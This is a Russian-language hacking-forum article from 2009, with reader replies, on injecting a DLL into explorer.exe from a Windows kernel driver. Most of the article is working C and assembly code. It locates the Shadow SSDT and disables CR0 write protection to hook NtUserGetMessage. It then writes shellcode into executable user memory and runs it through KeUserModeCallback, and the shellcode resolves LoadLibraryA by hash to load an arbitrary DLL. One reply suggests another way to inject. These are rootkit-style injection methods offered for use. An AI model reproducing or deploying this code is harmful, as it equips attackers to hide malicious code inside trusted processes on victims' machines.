Авторские статьи Inject DLL в процесс из kernel-mode

Discussion in 'Статьи' started by slesh, 28 Feb 2009.

  1. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    В одной из своих разработак столкнулся с проблемкой - необходимо подгрузить определенную DLL к эксплореру. Сложность задачи была в том, что необходимо было это всё сделать из драйвера. Реализация вышла геморной и через жопу, но работает нормально на Win 2000,XP,2003 на остальных нет возможностей потестить.

    И так алгоритм таков:
    1) попасть в контекст нужного процесса (эксплорера)
    2) выделить в нем память в его юзермодной части адресов
    3) записать в эту память шелкод который подгрузит нашу dll
    4) выполнить шелкод
    5) каким то образом узнать о том, что код выполнился.
    С виду всё просто, но на практике столкнулся с несколькими жопными моментами -
    таких как попадание в контекст процесса, и запуск нужного нам кода.

    А теперь по парядку как всё было реализовано
    1) Попадание в контекст процесса
    Т.к. эксплорер ничего не знает о нашем драйвере, то и обращаться к нему не станет, по этому нам нужно чтото похукать чтобы попасть в контекст эксплорера.
    По логике вещей хукать нужно то, что часто вызывается. Сразу в голову пришло хукать SYSENTER и в добавок для win2k еще и INT2E. Но метод отпал быстро из-за очень геморной реализации хука SYSENTER в плане работы внутри хука.
    Можно было еще похукать какойнить драйвер и в перехватчике IRP_MJ_*** выполнять наши данные. Но в виду хз каких обстоятельств сразу недодумался до этого и пошел другим путём. А именно - хук какойнить часто используемой функции из ntoskrnl.exe. Хукал через SDT одну фунцию работы с реестром, но это не помогло т.к. не иногда ждать приходилось пару минут в виду того что эксплорер редко работал с реестром в неактивном состоянии. По этому пришлось хукать функции win32k.sys отвечающие за работу с графической подсистемой винды. И тут появились первые ступоры - хукать нужно не в ServiceDescriptorTable а в ShadowServiceDescriptorTable которая в отличии от ServiceDescriptorTable напрямую не экспортируется. Для поиска ShadowSDT был заюзан способ поиска через KeAddSystemServiceTable.

    Code:
    typedef struct _SYSTEM_SERVICE_TABLE
     {
      PNTPROC ServiceTable; 
      PDWORD CounterTable; 
      ULONG ServiceLimit; 
      PBYTE ArgumentTable; 
     } SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;
    
    typedef struct _SERVICE_DESCRIPTOR_TABLE
     {
      SYSTEM_SERVICE_TABLE ntoskrnl;  //SST для ntoskrnl.exe
      SYSTEM_SERVICE_TABLE win32k;    //SST для win32k.sys
      SYSTEM_SERVICE_TABLE unused1; 
      SYSTEM_SERVICE_TABLE unused2; 
     } SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;
    
    PSERVICE_DESCRIPTOR_TABLE ShadowTable;
    extern SYSTEM_SERVICE_TABLE * KeServiceDescriptorTable;
    __declspec(dllimport) KeAddSystemServiceTable(ULONG,ULONG,ULONG,ULONG,ULONG); 
    
    SYSTEM_SERVICE_TABLE * GetShadowSDT()
     {  
      unsigned char *check = (unsigned char*)KeAddSystemServiceTable; 
      int i;
      SYSTEM_SERVICE_TABLE *rc=0; 
      for (i=0; i<=99; i++)
       { 
    	__try
    	 { 
    	  rc=*(SYSTEM_SERVICE_TABLE**)check; 
    	  if (!MmIsAddressValid(rc)||(rc==KeServiceDescriptorTable)||(memcmp(rc,KeServiceDescriptorTable,sizeof(*rc))!=0))
     	   { 
     		check++;  
    		rc = 0; 
    	   } 
    	 }
        __except (EXCEPTION_EXECUTE_HANDLER) {rc=0;} 
        if (rc) break; 
       } 
     return rc; 
    } 
    
    Теперь через функцию GetShadowSDT мы сможет получить нужным нам адрес.
    Установка хука происходит точно также как и в SDT но с учетом того, что мы должны предварительно приаттачится к нужному нам процессу через KeAttachProcess. Чтобы приаттачиться нам необходимо знать PEPROCESS процесса. Его мы будет получать через PsLookupProcessByProcessId. И по этому у нас появляется необходимость узнать PID эксплорера. Делаем так:
    Code:
    #define SystemProcessInformation 5
    int GetPidByName(WCHAR * name)
    {
     PSYSTEM_PROCESSES_INFORMATION pSystemProcessesInfo, pInfo;	
     NTSTATUS ns;
     ULONG dSize=4096;
     ULONG dData=0;
     PVOID shi;
     do
      {
       shi=ExAllocatePool(NonPagedPool,dSize);
       if (shi==NULL) return 0;
       ns=ZwQuerySystemInformation(SystemProcessInformation,shi,dSize,&dData);
       if (ns==STATUS_INFO_LENGTH_MISMATCH)
        {
    	 ExFreePool(shi);
         dSize*=2;
    	}
       } while (ns!=0);
     pSystemProcessesInfo=pInfo=(PSYSTEM_PROCESSES_INFORMATION)shi;
     ns=0;
     if (pSystemProcessesInfo)
      {
       while (1)
    	{
    	 if (pSystemProcessesInfo->ProcessName.Buffer)
    	  {
    	   if (!wcscmp(pSystemProcessesInfo->ProcessName.Buffer, name))
    	    {
    		 ns=pSystemProcessesInfo->ProcessId;
    		 break;
    		}
          }
    	 if (!pSystemProcessesInfo->NextEntryDelta) break;
     	 pSystemProcessesInfo = (PSYSTEM_PROCESSES_INFORMATION)((ULONG)pSystemProcessesInfo + pSystemProcessesInfo->NextEntryDelta);
       }
      }
     ExFreePool(pInfo); 
     return ns;
    } 
    
    Теперь вызов pid=GetPidByName(L"explorer.exe"); даст нам нужный PID.
    При выборе функции для хука взгляд пал на NtUserGetMessage т.к. она очень активно используется процессами у которых есть окна.
    Получаем ID этой функции в таблице с учетом ОС
    Code:
     switch (*NtBuildNumber)
     {
      case 2195:NtUserGetMessageID=0x19A; break; // win 2k
      case 2600:NtUserGetMessageID=0x1A5; break; // win XP
      case 3790:NtUserGetMessageID=0x1A4; break;  // win 2k3 
      default: return -1;
     }
    
    Для того чтобы ставить хук и снимать его была написана спец функция
    Code:
    // NewADDR - адрес нового обработчике
    // ID - номер сервиса в таблице
    // type - 
    // 0 - установить перехват 
    // 1 - снять перехват из-за таймаута
    // 2 - снять перехват в случие удачи 
    BOOLEAN HOOK_SHADOW(PVOID NewADDR,ULONG ID,ULONG type)
    {
     NTSTATUS status;
     PEPROCESS EProc;
    // если type=2 то ном не нужно аттачитсья к процессу, т.к. мы уже приаттачины к ниму.
     if (type<2) // Если хукаем или снимаем хук по таймауту
      {
       // pid - глобальная переменная, хранит PID эксплорера
       status=PsLookupProcessByProcessId(pid, &EProc); // получаем PEPROCESS эксплорера
       if (!NT_SUCCESS(status)) return FALSE;
       KeAttachProcess(EProc);
      } 
    
     if (type==0) // если ставим хук
      { 
       // сохраним в глобальную переменную настоящий адрес функции
       TrueNtUserGetMessage=ShadowTable->win32k.ServiceTable[ID];
       }
    // отключам защиту памяти
     __asm
      {
       CLI
       MOV EAX,CR0
       AND EAX,NOT 10000H
       MOV CR0,EAX
      }
      ShadowTable->win32k.ServiceTable[ID]=NewADDR; //хукаем
    // включаем защиту памяти
     __asm 
      {
       MOV EAX,CR0
       OR EAX,10000H
       MOV CR0,EAX
       STI
      }
     if (type<2) KeDetachProcess(); // деаттачимся от процесса если надо.
     return TRUE;
    }
    
    Чтобы поставить хук нужно выполнить:
    HOOK_SHADOW(MyNtUserGetMessage,NtUserGetMessageID,0)
    Чтобы снять
    HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,1); // по таймауту
    или
    HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,2);
    Обработчик хука будет выглядеть так:
    Code:
    BOOLEAN MyNtUserGetMessage(OUT ULONG pmsg,IN ULONG hwnd,IN ULONG wMsgFilterMin,IN ULONG wMsgFilterMax)
    {
     // inhook - шлобальная переменнах хранящая инфу о хуке
    // 0 - снят.
    // 1 - установлен
     if (inhook!=0&&(ULONG)PsGetCurrentProcessId()==pid) // если хук поставлен и нужный нам PID 
      {
     // проверли inhook чтобы сделать простенькую синхронизацию
       HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,2); // снимаем хук
       inhook=0; 
       DLLINJECTPROC(); // вызываем нашу процедуру инжекта DLL 
     //  Для уведомления об результате
       KeSetEvent(&event,0,FALSE); 
       KeClearEvent(&event);
      }
    // вызываем настоящий обработчик
     return TrueNtUserGetMessage(pmsg,hwnd,wMsgFilterMin,wMsgFilterMax); 
    
    
    2) Выделяем память, кидаем туда шелкод и выполняем его
    Вся работа по выделению памяти и запуску шелкода была переложена на DLLINJECTPROC. вызов юзермодного когда будет осущствляться через KeUserModeCallback (Огромное спасибо Twister за метод)
    Code:
    
    typedef struct _CMD_PARAMS
     {
      PCHAR dll;
    } CMD_PARAMS, * PCMD_PARAMS;
    
    VOID DLLINJECTPROC(VOID)
    {
     PROCESS_BASIC_INFORMATION pbi;
     NTSTATUS status;
     int ret;
     PPEB Peb=NULL;
     PVOID pMem = NULL, OutputBuffer,CmdAddr;
     ULONG OutputLength;
     ULONG dwSize = PAGE_SIZE; // 4 Кб
     ULONG KernelCallbackTable = 0;
     ULONG TableIndex, dwUserCodeSize;
     GLobalStatus=-1; 
     
    // получаем PEB процесса
     status=ZwQueryInformationProcess((HANDLE)-1, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
     if (NT_SUCCESS(status))
      {
    	Peb = pbi.PebBaseAddress;
      }
     if (Peb)
      {
       KernelCallbackTable=*(ULONG*)((ULONG)Peb + 0x2C);  // вычесляем адрес таблицы 
     // выделям память в юзермодном пространстве
       status=ZwAllocateVirtualMemory((HANDLE)-1, &pMem, 0, &dwSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
       if (NT_SUCCESS(status))
    	{
    	 *(ULONG*)pMem=(ULONG)pMem+4;
    	 TableIndex=((ULONG)pMem-KernelCallbackTable)/sizeof(ULONG);
    	 dwUserCodeSize=(ULONG)SHELLCODE_END-(ULONG)SHELLCODE_START;
    	 CmdAddr = (PVOID)((ULONG)pMem+4+dwUserCodeSize);
    	 __try
    	  {
                        // копируем в буфер шелкод и имя dll
    		RtlCopyMemory((PVOID)((ULONG)pMem + 4), SHELLCODE_START, dwUserCodeSize);
    		RtlCopyMemory(CmdAddr, StackParams.dll, strlen(StackParams.dll));
        	StackParams.dll=CmdAddr;
                       // вызываме наш код
    		status = KeUserModeCallback(TableIndex,&StackParams,sizeof(CMD_PARAMS),&OutputBuffer,&OutputLength );
                      // наш код должен вернуть 0xDEADC0DE
                     // GLobalStatus - глобальная переменнах хранящая инфу о результате выполнения
       		if (status==0xDEADC0DE) GLobalStatus=0; 
          }
    	 __except (EXCEPTION_EXECUTE_HANDLER)
    	  {
    	  }
              // удаляем память
    	 ZwFreeVirtualMemory((HANDLE)-1, &pMem, &dwSize, MEM_DECOMMIT);
    	}
      }
     return;  
    }
    
    3) Собственно говоря шелкод
    Алгоритм работы шелкода: Поиск адреса Kernel32.dll -> поиск адреса функции LoadLibraryA по её хешу -> LoadLibrary нашу DLL
    Code:
    ULONG SHELLCODE_START(PCMD_PARAMS lpData,ULONG dwDataSize)
    {
     __asm
     { 
      xor eax,eax
      add eax,fs:[eax+0x30]
      mov eax,[eax+0x0c]
      mov esi,[eax+0x1c]
      lodsd
      mov eax,[eax+0x08] // eax = адрес KERNEL32.DLL  
       
      mov ebx,eax
      add eax,[eax+0x3C] // PE заголовок
      mov edx,[eax+0x78]// Таблица экспорта
      add edx,ebx
      xor ecx,ecx
      mov edi,[edx+0x20]// Таблица экспортируемых имен
      add edi,ebx 
     getproc_scan:
      mov esi,ebx 
      add esi,[edi+(ecx)*4] //Адрес имени функции
      xor eax,eax
     getproc_hash:// считаем хеш
      rol eax,7
      xor al,[esi]
      inc esi
      cmp byte ptr [esi],0
      jnz getproc_hash
      xor eax,0xC8AC8026 // сравниваем с нашим хешем для LoadLibraryA
      jz getproc_found
      inc ecx
      cmp ecx,[edx+0x18]
      jne getproc_scan
      xor eax, eax
      jmp getproc_quit // если не нашли нужную апишку
     getproc_found: // если нашли
      mov eax,[edx+0x24]
      add eax,ebx
      mov ax,[eax+ecx*2]
      and eax,0x0000FFFF
      shl eax,2
      mov edx,[edx+0x1C]
      add edx,ebx
      mov eax,[edx+eax]
      add eax,ebx // eax = Адрес LoadLibraryA
     getproc_quit:
      mov ebx,[ebp+8]
      push [ebx] // занесем в стек имя нашел dll
      call eax
      mov eax,0xDEADC0DE // вернем наше магическое число
     } 
    }
    VOID SHELLCODE_END(){}
    
    4) Уведомление о выполнении и таймаут
    С учетом всего вышеизложенного пишем функцию которая будет заниматься непосредственно подготовкой к подгрузке DLL
    Code:
    int InjectDLL(char* dllname)
    {
     LARGE_INTEGER timeout;
     pid=GetPidByName(L"explorer.exe"); // получаем PID эксплорера 
     if (pid==0) return -1; // если не смогли получить то выходим
     inhook=0; 
     StackParams.dll=dllname; // указатель на имя нашел DLL 
     KeInitializeEvent(&event, NotificationEvent, FALSE); // Создаем событие для уведобления
    // Получаем ID сервиса для хука
     switch (*NtBuildNumber)
     {
      case 2195:NtUserGetMessageID=0x19A; break;
      case 2600:NtUserGetMessageID=0x1A5; break;
      case 3790:NtUserGetMessageID=0x1A4; break;  
      default: return -1;
     }
    // находим адрес Shadow SDT
     ShadowTable=(PSERVICE_DESCRIPTOR_TABLE)GetShadowSDT(); 
     if (!ShadowTable) return -1; // если не нашли
    // пытаемся хукать
     if (!HOOK_SHADOW(MyNtUserGetMessage,NtUserGetMessageID,0)) return -1;
    // если хук установлен
     inhook=1;
     timeout.QuadPart=RELATIVE(SECONDS(100)); // 100 секунд даем для подгрузки DLL 
    // ждем положенное время
     if (KeWaitForSingleObject(&event, Executive, KernelMode,FALSE, &timeout) != STATUS_TIMEOUT)
      {
       // подгрузили удачно
       return GLobalStatus;
      }
     else
      {
       // если врмя истекло
       if (inhook!=0) // если хук до сих пор еще установлен
        {
          // снимаем хук по таймауту
          HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,1);
          inhook=0;
        }
       return -1;
      }
    }
    
    Теперь когда нам нужно подгрузить dll мы выполним код:
    InjectDLL("MyDLL.dll");
    P.S. dll желательно чтобы находилась в SYSTEM32, в противном случае лучше указать тогда полный путь до неё.

    В заключение
    Чтобы не было глюков связанных с тем, что хук установлен и драйвер выгружается из системы, то напишим функцию которую необходимо будет вызвать из анлоада драйвера. Функция в случае наличия перехвата снимит его
    Code:
    VOID StopInject(VOID)
    {
     if (inhook!=0)
      {
       HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,1);
       inhook=0;
      }
     return;
    }
    
    Ну вот и всё!!! Садомазо удалось!
    (C) SLESH 2009
     
    7 people like this.
  2. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    Молодец! Как всякому труЪ-кодеру достаточно знать, что нечто теоретически возможно, чтобы сотворить это если приспичит!

    PS while (inhook!=0), while (ns!=0) - непохек)
     
    1 person likes this.
  3. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Дурная привычка со старых времем. Хотя один хер компилятор переведет все варианты в jnz )
     
    1 person likes this.
  4. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    интересно, даже очень интересно, только вот проблема в том что С/С++ не знаю(...
    Попробую позже разобраться +
     
  5. winterfrost

    winterfrost Elder - Старейшина

    Joined:
    18 Aug 2008
    Messages:
    42
    Likes Received:
    18
    Reputations:
    15
    спосибо, статйа интересна. Ещё можно захватить PeekMessageW в импортах эксплорера, и выполнять в шелкоде загрузку своей dll.
    Не совсем понял. Разве обработчик IRP быдет выполняться в контексте explorer.exe?